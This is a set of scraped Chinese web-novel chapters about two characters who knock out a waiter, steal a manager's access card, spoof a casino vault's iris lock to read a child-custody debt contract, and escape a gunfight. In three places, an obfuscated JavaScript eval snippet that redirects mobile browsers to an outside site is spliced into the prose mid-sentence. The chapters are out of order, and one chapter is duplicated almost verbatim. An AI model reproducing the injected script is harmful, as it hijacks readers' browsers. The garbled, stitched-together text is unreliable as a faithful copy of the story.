初与序:“那你别管了。” 齐无尽顿了顿,继续说:“从这里到金库入口有两条路,一条是主走廊——”他扫了一眼身后被保镖把守的门,“就在那扇门后面,监控无死角,暂时不考虑。” “另一条是员工通道,也是暗道,可以直接从三楼拍卖会现场下到负一楼。拍卖会开始后,监控室的主屏幕会切到拍卖大厅、VIP通道和主要出入口。我们走那条路,看情况行事。” 初与序点了点头,看了一眼时钟,四点四十五。 她转向齐无尽:“一会儿三楼见。” 齐无尽叫住她:“等等,你知道路吗?” “我昨晚已经把铂晶皇宫所有路线图背下来了。”初与序说完,转身走向电梯。 306.昨日港 初与序回到一楼大厅,朝着“安全通道”的楼梯间走去,随后下到B2楼。 走廊不长,光线昏暗,两侧是一扇扇标着部门铭牌的门,有什么保洁工具室、设备房、员工更衣室等等,其中一间的铭牌上写着“安保部临时休息室”。 门缝里透出一点光,能听见电视机所有和一个人的哼歌声。初与序抬手敲了敲门,里面的哼歌声停了:“谁啊?” 初与序没应声,又敲了三下。 片刻后,门被打开,一个穿着侍应生制服的年轻男人探出头,不耐烦道:“找谁……呃?” 话没说完,初与序向前半步,右手扶住了门框,将门推开更大。她抬起眼,柔声道:“抱歉,我是刚刚新来的侍应生,但我好像迷路了。请问去水晶厅怎么走?有客人在那里等我。” 男侍应生愣了一下,目光在初与序脸上停留了半天——即使戴着帽子,也能看出她长得很好看,语气又温和,很难让人起戒心。 “啊啊?水晶厅。”他反应过来,“哦哦那得上楼,这里是负二层员工区,你走错了。你得往回走,坐电梯上三楼,然后……” 他侧身指向门外走廊,初与序忽然抬起左手,并指如刀,砍在对方颈动脉处。 男侍应生闷哼一声,眼睛翻白,身体软软向下倒去。初与序一步跨进屋内,反手关上门,右臂捞住了对方下滑的身体。将人拖到沙发上,让他仰面躺好。 随后她看向房间内侧,墙边立着一排更衣柜,大部分柜门锁好,但有几扇柜门虚掩着,外面挂着工牌。初与序简单看了看,职位不是侍应生就是保洁,权限太低,不可能打开金库。 而在旁边的挂钩上,挂着一件黑色西装外套。初与序走过去,伸手摸进外套内袋,摸出一个皮质钱包。打开,里面有几张钞票,一张身份证,还有一张铂金色的卡牌。 卡面正面印着铂金皇宫的logo,背面职位栏清晰地写着: 「后勤调度主管-李华」 初与序抽出那张卡,将钱包塞回外套口袋,随后回到沙发边,俯身拍了拍年轻男人的肩膀:“您好?” 年轻男人眼皮动了动,茫然地睁开眼:“啊……啊?” “您刚才可能是低血糖,忽然晕过去了。”初与序直起身,微微一笑,“您现在感觉怎么样?” 侍应生撑着沙发坐起来,还有点懵:“没、没事……谢谢你啊。” “那我就先走了。”初与序点了点头,“您注意身体。” 她转身打算走,沙发上的男侍应生忽然叫住她:“那个……等等!” 初与序脚步一顿,还以为怎么了,回过头。 年轻男人从沙发上坐直,脸颊有点红,抓了抓头发:“能……能加个联系方式吗?刚才谢谢你,改天我请你喝咖啡……” 初与序愣了一下,没料到还有这个环节。 你要是知道我刚刚干了啥,你就不会谢我了,等着被主管李华扣工资吧。 她抬起右手,露出手指上的勿忘我戒指:“抱歉,我有对象了。” 侍应生“啊”了一声,脸更红了,慌忙摆手:“不好意思不好意思!打扰了!” “没事。”初与序笑了笑,转身拉开门走了出去,原路返回,上了三楼。 电梯门打开,齐无尽正倚着墙看手机,见她出现,抬了下眼。 初与序走过他身边,手指一抬,那张卡落进了齐无尽的外套口袋:“走了,李华。” 李·齐无尽·华:“……” 齐无尽拉上口袋,将手机揣回兜里,带着初与序转身拐进一条向下的暗道。这里光线昏暗,墙壁是水泥墙,一路上没遇到任何人,也没有监控。 他们很快下到负一楼,在一扇门前停下。齐无尽小心地推开一条缝,两人透过门缝向外看。 外面是一条拐弯的走廊,拐角处那段短廊没有监控,原本应该站着的两名守卫只剩下了一名,另一个应该是被调去拍卖会了。 剩下的那个保镖人高马大,像堵墙似的立在拐角处,警惕地盯着四周。 初与序压低声音:“你觉得我们俩打得过他吗?” 齐无尽犹豫了一下:“……应该可以吧。” 两个人心里都没底,铂金皇宫的保镖都是精挑细选,从小接受格斗训练,有些甚至是从地下拳场提上来的。初与序和齐无尽算业余,只在永冬之城的训练场练过,对上这种专业保镖,能不能赢还真不好说。 齐无尽挣扎了一下,举起手里的工牌:“你当李华还是我当李华?我觉得吧,你当……” “我看起来像叫李华的样子?”初与序转头看他。 两人对视。初与序扎着低马尾,长发搭在肩上,皮肤白皙,眉眼低垂,睫毛纤长,显得柔和安静,确实不像个会叫“李华”的。 齐无尽叹了口气,认命地把工牌挂到自己脖子上,推开了门。 那个保镖猛地转过头,右手按向后腰:“谁?!” 齐无尽举起脖子上的工牌,神情严肃地走过去:“后勤调度部,李华。上面有件紧急物品需要临时取出检查,让我过来一趟。” 保镖没立刻放行,在他脸上和工牌上来回看,然后摸向对讲机:“我没接到通知,等我问问……” 一个人忽然出现在他身后,劈手打落他的对讲机。连齐无尽都没看清初与序是怎么靠近的,只觉得她前一秒还在门后,下一秒已经来到保镖身后了。 保镖头都没回,抬起左拳向后猛抡!那一拳的力道足以砸断普通人的头骨,初与序连忙侧身避开,重拳砸在她身后的水泥墙上,灰尘簌簌落下。 齐无尽一记重拳朝向保镖面门,保镖不得不抬手格挡,硬生生吃下初与序紧跟而来的一记膝撞,却借着力道向前猛冲,撞向齐无尽胸口! 齐无尽后背撞上墙壁,初与序也被保镖甩出的手臂扫中了侧腹,踉跄了半步。 保镖终于拔出了腰间的□□,枪口对准两人:“你们俩,退后。” 初与序和齐无尽在原地停了一秒,齐无尽忽然向左前方滑步,保镖的枪口立刻追着他移动,扣向扳机! 初与序忽然踩上旁边的墙壁,横着旋身,右腿抽向保镖持枪的手腕!子弹擦着齐无尽射进地面,火花迸溅,初与序踢中保镖的腕骨,□□脱手飞出,落向远处角落。 保镖低吼一声,直接近身搏杀!他的速度太快,力量又大,初与序和齐无尽各自挨了好几下,火辣辣地痛。 齐无尽瞅准一个空档,身影一闪,掐向保镖咽喉。保镖抬手就要反击,被初与序死死压住胳膊。紧接着齐无尽右手握拳,两下平勾拳重重砸在保镖两侧太阳穴上! 保镖的挣扎猝然停止,庞大的身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233200|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 躯晃了晃,眼白一翻,直挺挺向后倒,晕了过去。 初与序松开手,捂着侧腹咳了两声。齐无尽靠着墙喘气,用手背抹去嘴角的血丝,然后走到角落捡起那把□□,关闭保险,在手上转了几圈:“你会用枪吗?” “不会。”初与序直起身。 齐无尽点了点头,将枪顺手插进后腰,用上衣下摆遮住。 两个人没有立刻进入通往金库的长走廊,他们躲在拐角处,探出半个头,望向走廊尽头。 那里是一扇厚重的银灰色金属门,快顶到天花板。在门上方角落安装了一个超大号监控摄像头,三百六十度无死角照亮来者的美。 齐无尽道:“这里的监控是独立的系统,我有无线信号干扰器,贴在摄像头上,能让监控室那边接下来几分钟画面卡顿,出现雪花。” “但我们怎么过去贴干扰器?监控室的人能看到我们走过去。” 初与序沉思片刻,问:“你有镜子吗?” “随便扣一块下来就行了。”齐无尽说着走到短走廊墙边,墙面有一部分是装饰性的镜面瓷砖,他伸手掰下一块巴掌大小的镜片,面不改色地递给初与序。 初与序沉默地盯着被齐无尽扣下镜面的墙壁几秒,回到拐角,手腕一翻,将镜片的角度微微倾斜。 头顶射灯的强光经过镜片折射,稳稳刺向走廊尽头摄像头的镜头中心。 下一秒,齐无尽像风一样闪出去,靠近摄像头下方,手腕一样,一个小小的黑色贴片被他甩向摄像头,牢牢吸附在镜罩边缘。 监控室内,对应的画面瞬间白茫茫一片,又开始闪雪花,什么都看不见。 “啧,又是灯光反射?”保安嘟囔了一句,对这种情况习以为常,低头继续刷手机,没再多看那个雪花屏一眼。 两人站在金库门前,门在齐无尽胸口高度的位置嵌着一块触摸屏,屏幕上方是个玻璃罩,里面是虹膜扫描器。屏幕右侧则是一个细长的卡槽。 齐无尽摘下脖子上的工牌,对准卡槽一刷。 滴—— 门框边的LED灯闪了一下绿光,触摸屏亮起: 【权限确认,级别;三级管理。】 上方的玻璃罩亮起红光,示意第二道锁已开启。齐无尽从面板里取出一个类似于隐形眼镜盒的小容器,打开,里面是一层柔性薄膜。 他熟练地将薄膜覆盖在自己右眼眼球上,接着对准虹膜扫描器。 一道细细的红色扫描光线从玻璃罩□□出,缓缓扫过他的眼睛。 只听咔哒一声,金属扣解开的声音从门内传出,整扇金属门向内打开了一条缝隙。两人进去金库,将门关上。 眼前的景象跟初与序想象中不一样,没有堆积如山的金条或者成捆的现金,而是一眼望不到头的高耸货架,每一排货架上都放着金属保险箱。过道的地面安装了幽蓝色的LED灯。 “M37号箱,分区域找。”齐无尽说,“编号规则是字母区加数字,M区应该在中间偏左。” 两人分开,各自走进货架。货架侧面高处贴着编号:A区……B区……C区…… “这里。”初与序在接近尽头的一排货架边停下,面前整面墙都是M区的保险箱,从M01到M50,排列整齐。 M37在中间靠上的位置,她需要踮起脚才能够到。 307.昨日港 齐无尽也走了过来,看着那个箱子。箱门上的电子屏显示着一行小字:【封存-权限锁定】,旁边是一个指纹识别器。 齐无尽盯着指纹锁:“这锁……” 初与序开口:“你试试。” “我没有铂金皇宫主管的指纹。” 初与序转过头看他:“我说的是,用你自己的指纹。” 齐无尽愣住了,他缓缓抬起右手,拇指悬在识别区上,微微颤抖着按了下去。 识别区亮起蓝光,光线扫过他的指纹纹理。几秒后,蓝光转为绿光,盒盖自动向上弹开一条缝隙。齐无尽伸出手,打开箱盖。 里面没有耀眼的珠宝和钞票,只有一份文件,躺在黑色天鹅绒衬垫上。 这是牛皮纸文件袋,用一根红色蜡绳捆扎,表面盖着一个火漆印章,印章的图案是一枚被荆棘缠绕的鸢尾花。 齐无尽顿了一下,然后稳稳地将它取了出来。解开蜡绳,抽出里面的文件。 是一份契约,纸张已经有些泛黄了,中央贴着一张白色标签: 【文件名称】:特殊资产保管及债务清偿契约 【缔约方】甲方(委托方):张景 乙方(受托方):莫楠 【签订日期】:2018年11月7日 【签订地点】:中国澳门 【事由】: 「甲方现持有齐无尽(男,2004年6月生)、齐无恙(女,2011年2月生)之监护权。经双方协商,甲方同意将上述二人交由乙方暂时保管。」 【条款】: 「1.保管期间:自本契约签订之日起,至齐无尽年满二十一(21)周岁止。」 「2债务处理:自本契约生效时起,委托人张景所欠受托人莫楠的上述贰仟万元债务即视为全部清偿完毕。受托人莫楠自愿放弃就此笔债务的一切追索权利。」 「3.后续安排:齐无尽年满二十一(21)周岁后,须为委托人张景工作三(3)年,以作为对其成年后自由的“赎回”。工作内容与地点由张景指定。」 【违约条款】: 「若乙方未能履行保管义务,或在齐无尽年满二十一(21)周岁后阻扰其履行服务约定,视同乙方严重违约。」 「一旦乙方违约,甲方有权立即无条件收回齐无尽、齐无恙之全部人身权利,且乙方须以自身生命承担违约责任。」 【特此立据,双方自愿,永不反悔。】 【甲方签字】:张景 【乙方签字】:莫楠 【日期】:2018年11月7日 契约下方,还有一行手写的备注: 「备注:若本契约在齐无尽年满二十一(21)周岁前,因任何合法方式(包括但不限于赌局赢取、债务抵消、自愿转让)而由乙方莫楠持有,则本期余额自归属乙方之日起,立即自动作废,视为从未存在。齐无尽与齐无恙将恢复完全自由身,与甲方张景之间一切约定义务永久解除。」 …… 齐无尽拿着契约的手开始不受控制地发抖:“操……” 楠姐是这么把他和无恙从张景手里带回来的……她竟然是这么做的…… 当年他只轻描淡写地说,张景欠她一大笔钱,拿两个孩子抵债。她说得那么轻松,齐无尽根本没有深想…… 张景那种畜生,怎么可能因为欠钱,就放过他们。 难怪,难怪她能从那个畜生手里带走两个孩子……难怪她拼了命也要赢回这份契约…… 齐无尽感觉很冷,寒意从骨缝里钻出来,蔓延到四肢百骸,冷得他指尖都在发麻。 楠姐是为他而死的,她当年签下的契约,是为了给他们争取成长的时间和相对安全的环境。她一直想在齐无尽二十一岁之前赢回这份契约,想让他永远不知道这件事,不会再落到张景手中,彻底获得自由。 所以她才不顾危险去黑鸢尾拍卖会,她想出千,是因为常规手段根本不可能赢下契约,出千是她唯一的机会—— 然后她就死在了那个机会上,被张景做局害死了。 如果……如果当时他没进永冬之城,还在澳门,几天后他二十一岁生日一过,他就会按照契约去张景手下。张景恋童,但即使齐无尽现在已经长大,也阻挡不了那畜生恶习扭曲的欲望。他会重复当年的噩梦。 “齐无尽?” 初与序的声音很遥远。 齐无尽垂着眸,大脑像当机了一样,一片空白,做不出任何反应。视野里只有眼前白晃晃的纸张,那上面的字迹扭曲,旋转,吞没了所有意识。恍惚间,他又看到了铂金皇宫顶层某个房间苍白的天花板。 那个时候,天色已经黑透了。 他来到巨大的落地窗前,浑身都痛,眼睛酸涩。窗外金红的霓虹光在他瞳孔里明明灭灭,像淌着的血和烧着的钱。 身后传来脚步声,一只温热的手贴上他的后颈,缓慢地摩挲了一下,然后滑向他的下颌,强迫他抬起头。 他从落地窗的倒影里看见瘦小的自己,脸色苍白,嘴唇抿成一条线。脑海里只反复回响着三个字——杀了他。 捏住他下颌的手用了力,手指抚过他的眼角,张景温和道:“怎么在窗边站着?外套都不穿。” 齐无尽浑身颤栗,他微微侧过身,抬起眼看向张景。 张景就是人们说的衣冠禽兽,保养得像二十多岁,面容英俊,华丽的衣着下是腐烂到发臭的灵魂。 “很恨我?”张景意味不明地笑了一声,“是你自己说的,放过你妹妹,你跟我来。” 齐无尽咬着牙,恶狠狠地挤出一句:“张景,你去死吧——” 他猛地抬起右手,手中攥着一把餐刀,狠狠刺向张景的眼睛! 手腕在半空中被一把攥住,“咔”一声脆响,腕骨被捏得脱臼,餐刀被打飞,紧接着一巴掌狠狠扇在他脸上,他整个人摔倒在地,耳朵里嗡鸣一片,嘴角立刻溢出血丝。 张景上前一步,锃亮的皮鞋狠狠踹在他肩膀上。 “齐无尽,你胆大了?”男人弯下腰,扯住他的衣领把他提起来,“别忘了,你妹妹还在我手上。” “再有下次,她的命就不保了。” 窗外车流的鸣笛声此起彼伏,剧痛,眩晕,恐惧,过去和现在混在一起,分不清虚实。 如果不是楠姐……如果她没来…… 紧接着,他的肩膀突然被抓住,他手一松,文件掉在地上。初与序扶着他的肩膀:“齐无尽,看着我!” 齐无尽焦距涣散,整个人还在微微发抖,但窒息感稍稍退去。 “……我没事。”他喘了口气,哑声道:“谢谢你。” 忽然,门外掉在地上的对讲机里传来焦急的吼声:“喂?!在不在?人呢!监控室说好像有人闯入金库了!画面白屏几分钟了!喂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17233201|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?!回答!” 两个人同时看向门外,金库尖锐的警报声猝然响起,红光从天花板各个角落闪烁! 齐无尽一把抓起掉在地上的文件袋,从面包里取出一个小型追踪器,塞进文件袋内侧,然后将袋子重新放回M37保险箱,合上箱盖,和初与序往门口冲去。 冲出楼梯间,外面的大厅已经乱成一团,十几个保镖从不同方向涌来,对讲机里吼成一片:“封锁所有出口!检查每位客人!一男一女,戴帽子!男的红头发,女的脖子上有道疤!” 出口的金属闸门正在缓缓降下,几个保镖守在门前,挨个检查打算离开的客人,连只蚊子都飞不出去。 初与序和齐无尽果断转身,逆着人流朝反方向疾走。 “那两位客人!停下!例行检查!”后面的保镖发现了他们,大喊着追上来。 “检查个皮啊!快追!就是他们俩!” 一群保镖抄起甩棍大步追过来,路过的客人被吓得惊叫躲闪。幸好此刻大部分客人都在三楼拍卖会,大厅里的人不算多,不挡路。两个人一路飞奔,冲进通往地下停车场的暗道。 齐无尽拉开车门坐进,引擎刚发出一声低吼,几个保镖就从柱子后面跃出,直扑而来! 初与序反手拔出短刀,最前面的保镖伸手抓她肩膀,她一个转身,刀光划过对方的手腕,鲜血飞溅,枪械直接脱手落地。 另一个保镖也不管中国不给普通人持枪,直接举枪对准两人。初与序就地翻滚,子弹擦着她鞋跟打出一串火花。 “上车!”齐无尽喊道。 初与序跃回车内,车门还没关紧,RS6已如离弦之箭般冲出车位。初与序在强风中拉上车门:“你再开快点,车门就没了。” 后视镜里,那几个保镖正冲向旁边几辆越野车,打算开车追上来。 按齐无尽的车技,简简单单就能甩掉那一两辆越野车。他们刚松了口气,结果刚冲出停车场,两人就傻眼了—— 数道车影已经从两侧车道夹击而来,整整十辆黑色SUV彻底堵死了出口。 齐无尽没减速,方向盘猛打半圈,RS6擦着水泥柱挤进狭窄的缝隙,朝着空旷处狂飙。其他车立刻掉头,紧追不舍。其中一辆SUV直接并排行驶,车窗摇下,枪口对准了这边。 “靠!”齐无尽猛转方向盘,“他们敢现在就开枪?” 弹雨泼了过来,幸好四面防弹玻璃质量过硬,撑了将近十分钟才开始出现蛛网状的裂痕。副驾驶侧的玻璃终于碎裂,初与序侧身避开飞溅的玻璃碴,右手直接持刀刺出窗外,扎进并排SUV车窗内持枪者的手腕,一拧一挑,那把枪就直接被她夺了过来。 对方吓得立刻关窗,生怕她一枪过来给自己放个烟花。 初与序现在开始后悔为什么之前没跟D19他们学学枪法,她干脆反手将枪丢向后座,直接抓住副驾驶窗户上方,长腿先探出窗外,接着整个人就跃了出去! “操!”齐无尽被她吓了一跳,“你干什么?!” “干他们。”初与序只留下一句,随后就钻进了那辆SUV,车内顿时乱作一团,车身在马路上蛇形摇晃。 齐无尽见那边是初与序占上风,便收回视线。他指尖一晃,多了张黑桃Q。 他将手臂伸出窗外,扑克牌脱手甩出,追得最近的那辆SUV前胎直接爆裂开来!车子失控,一头撞向护栏,发出刺耳的闷响。 308.昨日港 “你讨厌他?”她问。 冬逢初嘀嘀咕咕道:“就是看他不顺眼,喝水都像在品拉菲似的,装什么……” 他话没说完,浴室门被拉开。齐无尽擦着头发出来,换了身黑T恤和运动裤。 “冬逢初。”他凉凉开口,“你嗓子借给百灵鸟了?倒是唱两句人话来听听。” 冬逢初在那边冷笑一声:“人话得对着人讲,齐无尽。没事儿就多耸耸肩,把中间那玩意挤掉算了。” 齐无尽走过来,反讽道:“天冷了多给自己盖点土吧,你的脑子如果和你的话一样空,倒也算平衡了。” 初与序就这么听着两个人隔空互怼起来,如果不阻止他们,两人能吵一晚上。 “行了行了。”她揉了揉眉心,“你们怎么这时候都能互骂起来?” 冬逢初声音立刻软下去,可怜巴巴的:“阿序,我都四天没见到你了,好不容易和你说上话,这个人还骂我……” 齐无尽:“???” “冬逢初你别在这儿装可怜。”他嗤笑道,“我上周还看见你在副本里三秒干掉一群变异体,凶得跟什么似的。初与序喜欢你才愿意听你话,不然早让你滚远点了。” 冬逢初在那边翻了个白眼:“所以阿序就是喜欢我啊,怎么着?” 初与序无奈,对冬逢初轻声道:“好啦,等我通关副本就回永冬之城,马上就能见面了。” 那头传来冬逢初笑盈盈的声音:“好。” 通讯挂断,齐无尽把毛巾搭在椅背上,满脸不爽地看着初与序:“你就惯他吧。” 也不等初与序回答,他一个人走到窗边点了支烟。烟雾袅袅上升,隔着他,窗外是澳门遥远而璀璨的灯火。 初与序继续敲键盘,话对着齐无尽说:“莫楠不惜性命要拿回来的那份契约,你有什么想法?” 齐无尽吐出烟雾,沉默了一会:“我不知道。” “我认为楠姐当晚确实准备出千。那份契约对她很重要,她打算靠出千赢下来。但她出千的方式绝不会是做标记这么低级。但在她出千之前,就已经被阿七发的记号牌害了。” 初与序没接话,过了片刻,她停下敲键盘的动作:“你过来看看。” 齐无尽叼着烟走过来,俯身看向屏幕,上面是铂金皇宫的详细建筑结构图、安保换班时间、一年前所有拍卖会的信息记录,还有地下金库的物流信息等等。 “既然我们不知道契约是什么,那就去亲眼看看。”初与序说。 齐无尽看向她:“你要在张景的地盘上惹事?” “我们要弄明白那契约的内容到底是什么。” “你不了解张景这个人。”齐无尽压低声音,“他比任务副本BOSS都可怕,在这个副本里,他是个有自我意识的人类,不仅仅是NPC。他干的犯法事数不胜数,贪/污、叛/卖人口、走/私、强/奸,杀人,贩/毒、制/毒……只有你想不到,没有他做不到,警察都拿他没办法。” “没有人在他眼里是人。他是施虐狂,他……”齐无尽深吸一口气,涩声道,“他还恋/童。” 初与序脸色变了一下:“什么……” “我告诉你这些,是想说,如果我们被他抓到,被丢进海里喂鱼已经是很好的结局了。你明白吗?”齐无尽说道,“你知道我来这个副本是为了什么,你没有阻止我,也阻止不了我。两天后我去找张景,也会同时完成副本任务。你什么危险的事都不用做,就可以回永冬之城。” “是楠姐救了我和无恙,如果不是她来,无恙也会……我会为楠姐报仇,拿到她想到的东西,找到真相。所以你应该考虑清楚,要不要和我一起去铂金皇宫找契约。” 初与序想了想,说:“我觉得你一个人进去,很容易出不来。如果你第二天就死了,后期我一个人也不好通关。为了方便我通关,我选择和你一起去铂金皇宫。” 她抬起眼,又补了一句:“再说了,张景盯上了你。我和你今天一直待在一起,他不也盯上我了吗?” 这倒也是…… 齐无尽扶额,叹了口气:“好。” 初与序转回屏幕,移动鼠标:“铂金皇宫有债务拍卖的活动,拍品可以是任何东西,赢家通吃,输家可能付出远超筹码的代价。我认为莫楠当年参加的不是普通牌局,而是铂金皇宫的黑鸢尾私人拍卖会,在拍卖会上用赌博的形式赢得拍品,也就是那份契约。” “一年前,张景主导的那场拍卖会,拍品记录里有一项叫‘37号箱’。最终获得者仍然是张景。我认为,契约就放在那个箱子里。” 齐无尽盯着屏幕沉思片刻,说道:“铂金皇宫内部的结构我非常熟悉,也知道不少暗道。到了时间,我们装成赌客进去。” “要偷契约吗?”初与序问。 “不拿走。”齐无尽摇了摇头,“契约被偷会打草惊蛇,我们只需要去看契约的内容。” 两人又简单对了下计划,谈完话后,夜已经很深了。楼上的麻将声不知道什么时候停了,楼下大爷的咳嗽也安静下来。 初与序合上电脑,起身去浴室洗漱。等她出来时齐无尽已经关了客厅的灯,只留了卧室门缝一点昏黄的光。 她走进另一间卧室,关上门。 天亮后,齐无尽和初与序回了趟银海峰景。寒假期间,齐无恙正晃着腿坐在客厅里看电视,听见声音立刻扭过头,眼睛一亮:“哥哥!初姐姐!” 她从沙发上弹起来,先扑进齐无尽怀里蹭了蹭,又转身给了初与序一个拥抱。 “在家怎么样?”齐无尽拍了拍她的脑袋。 “可乖了!今天的作业也写完了!”齐无恙用力点头,又晃了晃齐无尽的手,“哥哥,陪我一起看电视好不好?海绵宝宝,就一集!” “只能看一集,看完要休息眼睛,不然会近视。”齐无尽被妹妹拉着往客厅走,回头看了初与序一眼。 “我下去转转。”初与序转身出了门。 她在银海峰景小区里慢悠悠转了一圈,小区很安静,绿化很好,偶尔要遛狗的老人经过。她留意了停车位和几个视线好的角落,没发现什么可疑车辆和人。昨晚那些人应该还没摸到这里,确实被齐无尽彻底甩掉了。 下午四点左右,赌场客人多起来的时候,两人出发了。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17234973|177773||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 铂金皇宫允许客人戴帽子,初与序将长发随便扎了个低马尾,和齐无尽戴上昨晚的帽子,跟着人流进入了铂金皇宫的正厅。 一进来,初与序就感受到了金钱的气息。 大厅挑高近二十米,巨大的水晶吊灯从顶上垂落,折射出金光。地面铺着意大利大理石,花纹繁复,光可鉴人。四处可见镀金的装饰和昂贵的艺术品,轮盘转动,骰子轻响,筹码碰撞。穿着礼服或高级定制西装的男女穿梭,侍应生托着香槟或威士忌服务,背景音乐是舒缓的爵士乐。 铂晶皇宫一共三十二层,地下十层是公开赌场和高级餐厅,往上则是VIP包厢和酒店套房,以及不对外公开的私人俱乐部和拍卖场。 但最顶层是什么并没有写在介绍单上,齐无尽看上去很厌恶那里,没有提,初与序也懒得问。 “下午五点拍卖会开始,金库在负一楼,另一边就是藏品预览区。拍卖会开始前,宾客可以预览一部分拍品。”齐无尽说。 两个人随着人流进了电梯,大部分客人按下了负一层,都是来参加拍卖会的。 电梯门一开,眼前是一个空旷的大厅。天花板很高,冷白色的灯光洒落,照着一排排陈列在玻璃柜里的拍卖品。珠宝、青铜器、油画、玉雕,琳琅满目,而这还只是一部分拍品。 大厅尽头是一扇木门,此刻紧闭着,门两侧站着两名保镖,面无表情,认真地盯着整个预览区。 来这里的客人很少是老板本人亲自到场,大多都是助理。几位侍应生端着托盘,将拍卖手册分发给每位宾客。初与序接过一本,随手翻了几页。上面没有“37号箱”,应该还在金库,今晚没打算拍卖。 两人混在人群中,慢慢来到人稍微少一点的角落,停在一串钻石项链前。 齐无尽压低声音:“拍卖会开始后,大部分保安的注意力会集中在拍卖场附近。看守金库的最多五人。” “金库前方是一条长走廊,拐弯处会站着两名保镖。门是双重锁,需要门禁卡和虹膜。楠姐以前存过能进金库的主管虹膜信息,我在永冬之城已经做好了仿生膜,只要拿到门禁卡就行了。” 初与序也小声说:“我看了保镖的巡逻路线和换班时间。四点五十有一批侍应生换班,他们会先去临时休息区,我去‘借’他们的工牌。” 齐无尽看了她一眼:“你确定是‘借’?” 初与序:“那你别管了。” 齐无尽顿了顿,继续说:“从这里到金库入口有两条路,一条是主走廊——”他扫了一眼身后被保镖把守的门,“就在那扇门后面,监控无死角,暂时不考虑。” “另一条是员工通道,也是暗道,可以直接从三楼拍卖会现场下到负一楼。拍卖会开始后,监控室的主屏幕会切到拍卖大厅、VIP通道和主要出入口。我们走那条路,看情况行事。” 初与序点了点头,看了一眼时钟,四点四十五。 她转向齐无尽:“一会儿三楼见。” 齐无尽叫住她:“等等,你知道路吗?” “我昨晚已经把铂晶皇宫所有路线图背下来了。”初与序说完,转身走向电梯。 309.昨日港 初与序回到一楼大厅,朝着“安全通道”的楼梯间走去,随后下到B2楼。 走廊不长,光线昏暗,两侧是一扇扇标着部门铭牌的门,有什么保洁工具室、设备房、员工更衣室等等,其中一间的铭牌上写着“安保部临时休息室”。 门缝里透出一点光,能听见电视机所有和一个人的哼歌声。初与序抬手敲了敲门,里面的哼歌声停了:“谁啊?” 初与序没应声,又敲了三下。 片刻后,门被打开,一个穿着侍应生制服的年轻男人探出头,不耐烦道:“找谁……呃?” 话没说完,初与序向前半步,右手扶住了门框,将门推开更大。她抬起眼,柔声道:“抱歉,我是刚刚新来的侍应生,但我好像迷路了。请问去水晶厅怎么走?有客人在那里等我。” 男侍应生愣了一下,目光在初与序脸上停留了半天——即使戴着帽子,也能看出她长得很好看,语气又温和,很难让人起戒心。 “啊啊?水晶厅。”他反应过来,“哦哦那得上楼,这里是负二层员工区,你走错了。你得往回走,坐电梯上三楼,然后……” 他侧身指向门外走廊,初与序忽然抬起左手,并指如刀,砍在对方颈动脉处。 男侍应生闷哼一声,眼睛翻白,身体软软向下倒去。初与序一步跨进屋内,反手关上门,右臂捞住了对方下滑的身体。将人拖到沙发上,让他仰面躺好。 随后她看向房间内侧,墙边立着一排更衣柜,大部分柜门锁好,但有几扇柜门虚掩着,外面挂着工牌。初与序简单看了看,职位不是侍应生就是保洁,权限太低,不可能打开金库。 而在旁边的挂钩上,挂着一件黑色西装外套。初与序走过去,伸手摸进外套内袋,摸出一个皮质钱包。打开,里面有几张钞票,一张身份证,还有一张铂金色的卡牌。 卡面正面印着铂金皇宫的logo,背面职位栏清晰地写着: 「后勤调度主管-李华」 初与序抽出那张卡,将钱包塞回外套口袋,随后回到沙发边,俯身拍了拍年轻男人的肩膀:“您好?” 年轻男人眼皮动了动,茫然地睁开眼:“啊……啊?” “您刚才可能是低血糖,忽然晕过去了。”初与序直起身,微微一笑,“您现在感觉怎么样?” 侍应生撑着沙发坐起来,还有点懵:“没、没事……谢谢你啊。” “那我就先走了。”初与序点了点头,“您注意身体。” 她转身打算走,沙发上的男侍应生忽然叫住她:“那个……等等!” 初与序脚步一顿,还以为怎么了,回过头。 年轻男人从沙发上坐直,脸颊有点红,抓了抓头发:“能……能加个联系方式吗?刚才谢谢你,改天我请你喝咖啡……” 初与序愣了一下,没料到还有这个环节。 你要是知道我刚刚干了啥,你就不会谢我了,等着被主管李华扣工资吧。 她抬起右手,露出手指上的勿忘我戒指:“抱歉,我有对象了。” 侍应生“啊”了一声,脸更红了,慌忙摆手:“不好意思不好意思!打扰了!” “没事。”初与序笑了笑,转身拉开门走了出去,原路返回,上了三楼。 电梯门打开,齐无尽正倚着墙看手机,见她出现,抬了下眼。 初与序走过他身边,手指一抬,那张卡落进了齐无尽的外套口袋:“走了,李华。” 李·齐无尽·华:“……” 